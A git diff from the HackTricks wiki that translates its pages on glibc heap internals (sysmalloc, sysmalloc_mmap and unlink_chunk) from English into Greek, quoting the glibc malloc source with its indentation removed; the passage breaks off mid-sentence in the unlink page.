-### sysmalloc checks +### sysmalloc ελέγχοι -It starts by getting old top chunk information and checking that some of the following condations are true: +Αρχίζει με την απόκτηση πληροφοριών για το παλιό top chunk και ελέγχει ότι κάποιες από τις παρακάτω συνθήκες είναι αληθείς: -- The old heap size is 0 (new heap) -- The size of the previous heap is greater and MINSIZE and the old Top is in use -- The heap is aligned to page size (0x1000 so the lower 12 bits need to be 0) +- Το μέγεθος της παλιάς heap είναι 0 (νέα heap) +- Το μέγεθος της προηγούμενης heap είναι μεγαλύτερο από MINSIZE και το παλιό Top είναι σε χρήση +- Η heap είναι ευθυγραμμισμένη στο μέγεθος σελίδας (0x1000, οπότε τα κατώτερα 12 bits πρέπει να είναι 0) -Then it also checks that: +Στη συνέχεια, ελέγχει επίσης ότι: -- The old size hasn't enough space to create a chunk for the requested size +- Το παλιό μέγεθος δεν έχει αρκετό χώρο για να δημιουργήσει ένα chunk για το ζητούμενο μέγεθος
-sysmalloc checks - +sysmalloc ελέγχοι ```c /* Record incoming configuration of top */ - old_top = av->top; - old_size = chunksize (old_top); - old_end = (char *) (chunk_at_offset (old_top, old_size)); +old_top = av->top; +old_size = chunksize (old_top); +old_end = (char *) (chunk_at_offset (old_top, old_size)); - brk = snd_brk = (char *) (MORECORE_FAILURE); +brk = snd_brk = (char *) (MORECORE_FAILURE); - /* - If not the first time through, we require old_size to be - at least MINSIZE and to have prev_inuse set. - */ +/* +If not the first time through, we require old_size to be +at least MINSIZE and to have prev_inuse set. +*/ - assert ((old_top == initial_top (av) && old_size == 0) || - ((unsigned long) (old_size) >= MINSIZE && - prev_inuse (old_top) && - ((unsigned long) old_end & (pagesize - 1)) == 0)); +assert ((old_top == initial_top (av) && old_size == 0) || +((unsigned long) (old_size) >= MINSIZE && +prev_inuse (old_top) && +((unsigned long) old_end & (pagesize - 1)) == 0)); - /* Precondition: not enough current space to satisfy nb request */ - assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); +/* Precondition: not enough current space to satisfy nb request */ +assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); ``` -
-### sysmalloc not main arena +### sysmalloc όχι κύρια αρένα -It'll first try to **extend** the previous heap for this heap. If not possible try to **allocate a new heap** and update the pointers to be able to use it.\ -Finally if that didn't work, try calling **`sysmalloc_mmap`**. +Θα προσπαθήσει πρώτα να **επεκτείνει** την προηγούμενη αρένα για αυτή την αρένα. Αν δεν είναι δυνατή, θα προσπαθήσει να **κατανείμει μια νέα αρένα** και να ενημερώσει τους δείκτες για να μπορέσει να τη χρησιμοποιήσει.\ +Τέλος, αν αυτό δεν λειτουργήσει, θα προσπαθήσει να καλέσει **`sysmalloc_mmap`**.
-sysmalloc not main arena - +sysmalloc όχι κύρια αρένα ```c if (av != &main_arena) - { - heap_info *old_heap, *heap; - size_t old_heap_size; +{ +heap_info *old_heap, *heap; +size_t old_heap_size; - /* First try to extend the current heap. */ - old_heap = heap_for_ptr (old_top); - old_heap_size = old_heap->size; - if ((long) (MINSIZE + nb - old_size) > 0 - && grow_heap (old_heap, MINSIZE + nb - old_size) == 0) - { - av->system_mem += old_heap->size - old_heap_size; - set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) - | PREV_INUSE); - } - else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) - { - /* Use a newly allocated heap. */ - heap->ar_ptr = av; - heap->prev = old_heap; - av->system_mem += heap->size; - /* Set up the new top. */ - top (av) = chunk_at_offset (heap, sizeof (*heap)); - set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); +/* First try to extend the current heap. */ +old_heap = heap_for_ptr (old_top); +old_heap_size = old_heap->size; +if ((long) (MINSIZE + nb - old_size) > 0 +&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0) +{ +av->system_mem += old_heap->size - old_heap_size; +set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) +| PREV_INUSE); +} +else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) +{ +/* Use a newly allocated heap. */ +heap->ar_ptr = av; +heap->prev = old_heap; +av->system_mem += heap->size; +/* Set up the new top. */ +top (av) = chunk_at_offset (heap, sizeof (*heap)); +set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); - /* Setup fencepost and free the old top chunk with a multiple of - MALLOC_ALIGNMENT in size. */ - /* The fencepost takes at least MINSIZE bytes, because it might - become the top chunk again later. Note that a footer is set - up, too, although the chunk is marked in use. */ - old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; - set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), - 0 | PREV_INUSE); - if (old_size >= MINSIZE) - { - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); - set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); - _int_free (av, old_top, 1); - } - else - { - set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); - set_foot (old_top, (old_size + CHUNK_HDR_SZ)); - } - } - else if (!tried_mmap) - { - /* We can at least try to use to mmap memory. If new_heap fails - it is unlikely that trying to allocate huge pages will - succeed. */ - char *mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - } - } +/* Setup fencepost and free the old top chunk with a multiple of +MALLOC_ALIGNMENT in size. */ +/* The fencepost takes at least MINSIZE bytes, because it might +become the top chunk again later. Note that a footer is set +up, too, although the chunk is marked in use. */ +old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; +set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), +0 | PREV_INUSE); +if (old_size >= MINSIZE) +{ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); +set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); +_int_free (av, old_top, 1); +} +else +{ +set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); +set_foot (old_top, (old_size + CHUNK_HDR_SZ)); +} +} +else if (!tried_mmap) +{ +/* We can at least try to use to mmap memory. If new_heap fails +it is unlikely that trying to allocate huge pages will +succeed. */ +char *mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +} +} ``` -
-### sysmalloc main arena +### sysmalloc κύρια αρένα -It starts calculating the amount of memory needed. It'll start by requesting contiguous memory so in this case it'll be possible to use the old memory not used. Also some align operations are performed. +Αρχίζει να υπολογίζει την ποσότητα μνήμης που χρειάζεται. Θα ξεκινήσει ζητώντας συνεχόμενη μνήμη, οπότε σε αυτή την περίπτωση θα είναι δυνατή η χρήση της παλιάς μνήμης που δεν χρησιμοποιείται. Επίσης, εκτελούνται κάποιες λειτουργίες ευθυγράμμισης.
-sysmalloc main arena - +sysmalloc κύρια αρένα ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10 - else /* av == main_arena */ +else /* av == main_arena */ - { /* Request enough space for nb + pad + overhead */ - size = nb + mp_.top_pad + MINSIZE; +{ /* Request enough space for nb + pad + overhead */ +size = nb + mp_.top_pad + MINSIZE; - /* - If contiguous, we can subtract out existing space that we hope to - combine with new space. We add it back later only if - we don't actually get contiguous space. - */ +/* +If contiguous, we can subtract out existing space that we hope to +combine with new space. We add it back later only if +we don't actually get contiguous space. +*/ - if (contiguous (av)) - size -= old_size; +if (contiguous (av)) +size -= old_size; - /* - Round to a multiple of page size or huge page size. - If MORECORE is not contiguous, this ensures that we only call it - with whole-page arguments. And if MORECORE is contiguous and - this is not first time through, this preserves page-alignment of - previous calls. Otherwise, we correct to page-align below. - */ +/* +Round to a multiple of page size or huge page size. +If MORECORE is not contiguous, this ensures that we only call it +with whole-page arguments. And if MORECORE is contiguous and +this is not first time through, this preserves page-alignment of +previous calls. Otherwise, we correct to page-align below. +*/ #ifdef MADV_HUGEPAGE - /* Defined in brk.c. */ - extern void *__curbrk; - if (__glibc_unlikely (mp_.thp_pagesize != 0)) - { - uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, - mp_.thp_pagesize); - size = top - (uintptr_t) __curbrk; - } - else +/* Defined in brk.c. */ +extern void *__curbrk; +if (__glibc_unlikely (mp_.thp_pagesize != 0)) +{ +uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, +mp_.thp_pagesize); +size = top - (uintptr_t) __curbrk; +} +else #endif - size = ALIGN_UP (size, GLRO(dl_pagesize)); +size = ALIGN_UP (size, GLRO(dl_pagesize)); - /* - Don't try to call MORECORE if argument is so big as to appear - negative. Note that since mmap takes size_t arg, it may succeed - below even if we cannot call MORECORE. - */ +/* +Don't try to call MORECORE if argument is so big as to appear +negative. Note that since mmap takes size_t arg, it may succeed +below even if we cannot call MORECORE. +*/ - if (size > 0) - { - brk = (char *) (MORECORE (size)); - if (brk != (char *) (MORECORE_FAILURE)) - madvise_thp (brk, size); - LIBC_PROBE (memory_sbrk_more, 2, brk, size); - } +if (size > 0) +{ +brk = (char *) (MORECORE (size)); +if (brk != (char *) (MORECORE_FAILURE)) +madvise_thp (brk, size); +LIBC_PROBE (memory_sbrk_more, 2, brk, size); +} ``` -
-### sysmalloc main arena previous error 1 +### sysmalloc κύρια αρένα προηγούμενο σφάλμα 1 -If the previous returned `MORECORE_FAILURE`, try agin to allocate memory using `sysmalloc_mmap_fallback` +Εάν το προηγούμενο που επιστράφηκε `MORECORE_FAILURE`, δοκιμάστε ξανά να εκχωρήσετε μνήμη χρησιμοποιώντας `sysmalloc_mmap_fallback`
-sysmalloc main arena previous error 1 - +sysmalloc κύρια αρένα προηγούμενο σφάλμα 1 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10 if (brk == (char *) (MORECORE_FAILURE)) - { - /* - If have mmap, try using it as a backup when MORECORE fails or - cannot be used. This is worth doing on systems that have "holes" in - address space, so sbrk cannot extend to give contiguous space, but - space is available elsewhere. Note that we ignore mmap max count - and threshold limits, since the space will not be used as a - segregated mmap region. - */ +{ +/* +If have mmap, try using it as a backup when MORECORE fails or +cannot be used. This is worth doing on systems that have "holes" in +address space, so sbrk cannot extend to give contiguous space, but +space is available elsewhere. Note that we ignore mmap max count +and threshold limits, since the space will not be used as a +segregated mmap region. +*/ - char *mbrk = MAP_FAILED; - if (mp_.hp_pagesize > 0) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, - mp_.hp_pagesize, mp_.hp_pagesize, - mp_.hp_flags, av); - if (mbrk == MAP_FAILED) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, - pagesize, 0, av); - if (mbrk != MAP_FAILED) - { - /* We do not need, and cannot use, another sbrk call to find end */ - brk = mbrk; - snd_brk = brk + size; - } - } +char *mbrk = MAP_FAILED; +if (mp_.hp_pagesize > 0) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, +mp_.hp_pagesize, mp_.hp_pagesize, +mp_.hp_flags, av); +if (mbrk == MAP_FAILED) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, +pagesize, 0, av); +if (mbrk != MAP_FAILED) +{ +/* We do not need, and cannot use, another sbrk call to find end */ +brk = mbrk; +snd_brk = brk + size; +} +} ``` -
-### sysmalloc main arena continue +### sysmalloc κύρια αρένα συνέχεια -If the previous didn't return `MORECORE_FAILURE`, if it worked create some alignments: +Αν το προηγούμενο δεν επέστρεψε `MORECORE_FAILURE`, αν λειτούργησε, δημιουργήστε μερικές ευθυγραμμίσεις:
-sysmalloc main arena previous error 2 - +sysmalloc κύρια αρένα προηγούμενο σφάλμα 2 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742 if (brk != (char *) (MORECORE_FAILURE)) - { - if (mp_.sbrk_base == 0) - mp_.sbrk_base = brk; - av->system_mem += size; +{ +if (mp_.sbrk_base == 0) +mp_.sbrk_base = brk; +av->system_mem += size; - /* - If MORECORE extends previous space, we can likewise extend top size. - */ +/* +If MORECORE extends previous space, we can likewise extend top size. +*/ - if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) - set_head (old_top, (size + old_size) | PREV_INUSE); +if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) +set_head (old_top, (size + old_size) | PREV_INUSE); - else if (contiguous (av) && old_size && brk < old_end) - /* Oops! Someone else killed our space.. Can't touch anything. */ - malloc_printerr ("break adjusted to free malloc space"); +else if (contiguous (av) && old_size && brk < old_end) +/* Oops! Someone else killed our space.. Can't touch anything. */ +malloc_printerr ("break adjusted to free malloc space"); - /* - Otherwise, make adjustments: +/* +Otherwise, make adjustments: - * If the first time through or noncontiguous, we need to call sbrk - just to find out where the end of memory lies. +* If the first time through or noncontiguous, we need to call sbrk +just to find out where the end of memory lies. - * We need to ensure that all returned chunks from malloc will meet - MALLOC_ALIGNMENT +* We need to ensure that all returned chunks from malloc will meet +MALLOC_ALIGNMENT - * If there was an intervening foreign sbrk, we need to adjust sbrk - request size to account for fact that we will not be able to - combine new space with existing space in old_top. +* If there was an intervening foreign sbrk, we need to adjust sbrk +request size to account for fact that we will not be able to +combine new space with existing space in old_top. - * Almost all systems internally allocate whole pages at a time, in - which case we might as well use the whole last page of request. - So we allocate enough more memory to hit a page boundary now, - which in turn causes future contiguous calls to page-align. - */ +* Almost all systems internally allocate whole pages at a time, in +which case we might as well use the whole last page of request. +So we allocate enough more memory to hit a page boundary now, +which in turn causes future contiguous calls to page-align. +*/ - else - { - front_misalign = 0; - end_misalign = 0; - correction = 0; - aligned_brk = brk; +else +{ +front_misalign = 0; +end_misalign = 0; +correction = 0; +aligned_brk = brk; - /* handle contiguous cases */ - if (contiguous (av)) - { - /* Count foreign sbrk as system_mem. */ - if (old_size) - av->system_mem += brk - old_end; +/* handle contiguous cases */ +if (contiguous (av)) +{ +/* Count foreign sbrk as system_mem. */ +if (old_size) +av->system_mem += brk - old_end; - /* Guarantee alignment of first new chunk made from this space */ +/* Guarantee alignment of first new chunk made from this space */ - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - correction = MALLOC_ALIGNMENT - front_misalign; - aligned_brk += correction; - } +correction = MALLOC_ALIGNMENT - front_misalign; +aligned_brk += correction; +} - /* - If this isn't adjacent to existing space, then we will not - be able to merge with old_top space, so must add to 2nd request. - */ +/* +If this isn't adjacent to existing space, then we will not +be able to merge with old_top space, so must add to 2nd request. +*/ - correction += old_size; +correction += old_size; - /* Extend the end address to hit a page boundary */ - end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); - correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; +/* Extend the end address to hit a page boundary */ +end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); +correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; - assert (correction >= 0); - snd_brk = (char *) (MORECORE (correction)); +assert (correction >= 0); +snd_brk = (char *) (MORECORE (correction)); - /* - If can't allocate correction, try to at least find out current - brk. It might be enough to proceed without failing. +/* +If can't allocate correction, try to at least find out current +brk. It might be enough to proceed without failing. - Note that if second sbrk did NOT fail, we assume that space - is contiguous with first sbrk. This is a safe assumption unless - program is multithreaded but doesn't use locks and a foreign sbrk - occurred between our first and second calls. - */ +Note that if second sbrk did NOT fail, we assume that space +is contiguous with first sbrk. This is a safe assumption unless +program is multithreaded but doesn't use locks and a foreign sbrk +occurred between our first and second calls. +*/ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - correction = 0; - snd_brk = (char *) (MORECORE (0)); - } - else - madvise_thp (snd_brk, correction); - } +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +correction = 0; +snd_brk = (char *) (MORECORE (0)); +} +else +madvise_thp (snd_brk, correction); +} - /* handle non-contiguous cases */ - else - { - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - /* MORECORE/mmap must correctly align */ - assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); - else - { - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +/* handle non-contiguous cases */ +else +{ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +/* MORECORE/mmap must correctly align */ +assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); +else +{ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - aligned_brk += MALLOC_ALIGNMENT - front_misalign; - } - } +aligned_brk += MALLOC_ALIGNMENT - front_misalign; +} +} - /* Find out current end of memory */ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - snd_brk = (char *) (MORECORE (0)); - } - } +/* Find out current end of memory */ +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +snd_brk = (char *) (MORECORE (0)); +} +} - /* Adjust top based on results of second sbrk */ - if (snd_brk != (char *) (MORECORE_FAILURE)) - { - av->top = (mchunkptr) aligned_brk; - set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); - av->system_mem += correction; +/* Adjust top based on results of second sbrk */ +if (snd_brk != (char *) (MORECORE_FAILURE)) +{ +av->top = (mchunkptr) aligned_brk; +set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); +av->system_mem += correction; - /* - If not the first time through, we either have a - gap due to foreign sbrk or a non-contiguous region. Insert a - double fencepost at old_top to prevent consolidation with space - we don't own. These fenceposts are artificial chunks that are - marked as inuse and are in any case too small to use. We need - two to make sizes and alignments work out. - */ +/* +If not the first time through, we either have a +gap due to foreign sbrk or a non-contiguous region. Insert a +double fencepost at old_top to prevent consolidation with space +we don't own. These fenceposts are artificial chunks that are +marked as inuse and are in any case too small to use. We need +two to make sizes and alignments work out. +*/ - if (old_size != 0) - { - /* - Shrink old_top to insert fenceposts, keeping size a - multiple of MALLOC_ALIGNMENT. We know there is at least - enough space in old_top to do this. - */ - old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; - set_head (old_top, old_size | PREV_INUSE); +if (old_size != 0) +{ +/* +Shrink old_top to insert fenceposts, keeping size a +multiple of MALLOC_ALIGNMENT. We know there is at least +enough space in old_top to do this. +*/ +old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; +set_head (old_top, old_size | PREV_INUSE); - /* - Note that the following assignments completely overwrite - old_top when old_size was previously MINSIZE. This is - intentional. We need the fencepost, even if old_top otherwise gets - lost. - */ - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_head (chunk_at_offset (old_top, - old_size + CHUNK_HDR_SZ), - CHUNK_HDR_SZ | PREV_INUSE); +/* +Note that the following assignments completely overwrite +old_top when old_size was previously MINSIZE. This is +intentional. We need the fencepost, even if old_top otherwise gets +lost. +*/ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_head (chunk_at_offset (old_top, +old_size + CHUNK_HDR_SZ), +CHUNK_HDR_SZ | PREV_INUSE); - /* If possible, release the rest. */ - if (old_size >= MINSIZE) - { - _int_free (av, old_top, 1); - } - } - } - } - } - } /* if (av != &main_arena) */ +/* If possible, release the rest. */ +if (old_size >= MINSIZE) +{ +_int_free (av, old_top, 1); +} +} +} +} +} +} /* if (av != &main_arena) */ ``` -
### sysmalloc finale -Finish the allocation updating the arena information - +Ολοκληρώστε την κατανομή ενημερώνοντας τις πληροφορίες της αρένας. ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12 if ((unsigned long) av->system_mem > (unsigned long) (av->max_system_mem)) - av->max_system_mem = av->system_mem; - check_malloc_state (av); +av->max_system_mem = av->system_mem; +check_malloc_state (av); - /* finally, do the allocation */ - p = av->top; - size = chunksize (p); +/* finally, do the allocation */ +p = av->top; +size = chunksize (p); - /* check that one of the above allocation paths succeeded */ - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (p, nb); - av->top = remainder; - set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, p, nb); - return chunk2mem (p); - } +/* check that one of the above allocation paths succeeded */ +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (p, nb); +av->top = remainder; +set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +check_malloced_chunk (av, p, nb); +return chunk2mem (p); +} - /* catch all failure paths */ - __set_errno (ENOMEM); - return 0; +/* catch all failure paths */ +__set_errno (ENOMEM); +return 0; ``` - ## sysmalloc_mmap
-sysmalloc_mmap code - +κώδικας sysmalloc_mmap ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2 static void * sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av) { - long int size; +long int size; - /* - Round up size to nearest page. For mmapped chunks, the overhead is one - SIZE_SZ unit larger than for normal chunks, because there is no - following chunk whose prev_size field could be used. +/* +Round up size to nearest page. For mmapped chunks, the overhead is one +SIZE_SZ unit larger than for normal chunks, because there is no +following chunk whose prev_size field could be used. - See the front_misalign handling below, for glibc there is no need for - further alignments unless we have have high alignment. - */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - size = ALIGN_UP (nb + SIZE_SZ, pagesize); - else - size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); +See the front_misalign handling below, for glibc there is no need for +further alignments unless we have have high alignment. +*/ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +size = ALIGN_UP (nb + SIZE_SZ, pagesize); +else +size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); - /* Don't try if size wraps around 0. */ - if ((unsigned long) (size) <= (unsigned long) (nb)) - return MAP_FAILED; +/* Don't try if size wraps around 0. */ +if ((unsigned long) (size) <= (unsigned long) (nb)) +return MAP_FAILED; - char *mm = (char *) MMAP (0, size, - mtag_mmap_flags | PROT_READ | PROT_WRITE, - extra_flags); - if (mm == MAP_FAILED) - return mm; +char *mm = (char *) MMAP (0, size, +mtag_mmap_flags | PROT_READ | PROT_WRITE, +extra_flags); +if (mm == MAP_FAILED) +return mm; #ifdef MAP_HUGETLB - if (!(extra_flags & MAP_HUGETLB)) - madvise_thp (mm, size); +if (!(extra_flags & MAP_HUGETLB)) +madvise_thp (mm, size); #endif - __set_vma_name (mm, size, " glibc: malloc"); +__set_vma_name (mm, size, " glibc: malloc"); - /* - The offset to the start of the mmapped region is stored in the prev_size - field of the chunk. This allows us to adjust returned start address to - meet alignment requirements here and in memalign(), and still be able to - compute proper address argument for later munmap in free() and realloc(). - */ +/* +The offset to the start of the mmapped region is stored in the prev_size +field of the chunk. This allows us to adjust returned start address to +meet alignment requirements here and in memalign(), and still be able to +compute proper address argument for later munmap in free() and realloc(). +*/ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - { - /* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and - MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page - aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ - assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); - front_misalign = 0; - } - else - front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +{ +/* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and +MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page +aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ +assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); +front_misalign = 0; +} +else +front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; - mchunkptr p; /* the allocated/returned chunk */ +mchunkptr p; /* the allocated/returned chunk */ - if (front_misalign > 0) - { - ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; - p = (mchunkptr) (mm + correction); - set_prev_size (p, correction); - set_head (p, (size - correction) | IS_MMAPPED); - } - else - { - p = (mchunkptr) mm; - set_prev_size (p, 0); - set_head (p, size | IS_MMAPPED); - } +if (front_misalign > 0) +{ +ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; +p = (mchunkptr) (mm + correction); +set_prev_size (p, correction); +set_head (p, (size - correction) | IS_MMAPPED); +} +else +{ +p = (mchunkptr) mm; +set_prev_size (p, 0); +set_head (p, size | IS_MMAPPED); +} - /* update statistics */ - int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; - atomic_max (&mp_.max_n_mmaps, new); +/* update statistics */ +int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; +atomic_max (&mp_.max_n_mmaps, new); - unsigned long sum; - sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; - atomic_max (&mp_.max_mmapped_mem, sum); +unsigned long sum; +sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; +atomic_max (&mp_.max_mmapped_mem, sum); - check_chunk (av, p); +check_chunk (av, p); - return chunk2mem (p); +return chunk2mem (p); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md index 7d26f6546..6ac2dc0fb 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -2,8 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Code - +### Κώδικας ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -11,73 +10,72 @@ static void unlink_chunk (mstate av, mchunkptr p) { - if (chunksize (p) != prev_size (next_chunk (p))) - malloc_printerr ("corrupted size vs. prev_size"); +if (chunksize (p) != prev_size (next_chunk (p))) +malloc_printerr ("corrupted size vs. prev_size"); - mchunkptr fd = p->fd; - mchunkptr bk = p->bk; +mchunkptr fd = p->fd; +mchunkptr bk = p->bk; - if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) - malloc_printerr ("corrupted double-linked list"); +if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) +malloc_printerr ("corrupted double-linked list"); - fd->bk = bk; - bk->fd = fd; - if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) - { - if (p->fd_nextsize->bk_nextsize != p - || p->bk_nextsize->fd_nextsize != p) - malloc_printerr ("corrupted double-linked list (not small)"); +fd->bk = bk; +bk->fd = fd; +if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) +{ +if (p->fd_nextsize->bk_nextsize != p +|| p->bk_nextsize->fd_nextsize != p) +malloc_printerr ("corrupted double-linked list (not small)"); - // Added: If the FD is not in the nextsize list - if (fd->fd_nextsize == NULL) - { +// Added: If the FD is not in the nextsize list +if (fd->fd_nextsize == NULL) +{ - if (p->fd_nextsize == p) - fd->fd_nextsize = fd->bk_nextsize = fd; - else - // Link the nexsize list in when removing the new chunk - { - fd->fd_nextsize = p->fd_nextsize; - fd->bk_nextsize = p->bk_nextsize; - p->fd_nextsize->bk_nextsize = fd; - p->bk_nextsize->fd_nextsize = fd; - } - } - else - { - p->fd_nextsize->bk_nextsize = p->bk_nextsize; - p->bk_nextsize->fd_nextsize = p->fd_nextsize; - } - } +if (p->fd_nextsize == p) +fd->fd_nextsize = fd->bk_nextsize = fd; +else +// Link the nexsize list in when removing the new chunk +{ +fd->fd_nextsize = p->fd_nextsize; +fd->bk_nextsize = p->bk_nextsize; +p->fd_nextsize->bk_nextsize = fd; +p->bk_nextsize->fd_nextsize = fd; +} +} +else +{ +p->fd_nextsize->bk_nextsize = p->bk_nextsize; +p->bk_nextsize->fd_nextsize = p->fd_nextsize; +} +} } ``` +### Γραφική Εξήγηση -### Graphical Explanation - -Check this great graphical explanation of the unlink process: +Δείτε αυτή τη σπουδαία γραφική εξήγηση της 